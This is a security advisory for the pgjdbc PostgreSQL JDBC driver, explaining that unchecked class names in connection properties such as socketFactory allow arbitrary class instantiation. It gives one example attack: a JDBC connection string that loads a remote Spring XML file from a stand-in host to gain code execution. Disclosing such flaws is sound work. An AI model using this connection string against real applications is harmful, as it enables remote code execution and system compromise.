Affected packages

• Maven org.postgresql:postgresql: >= 42.3.0, < 42.3.2 → fixed in 42.3.2
Description
Impact
pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
```
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
```
The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)
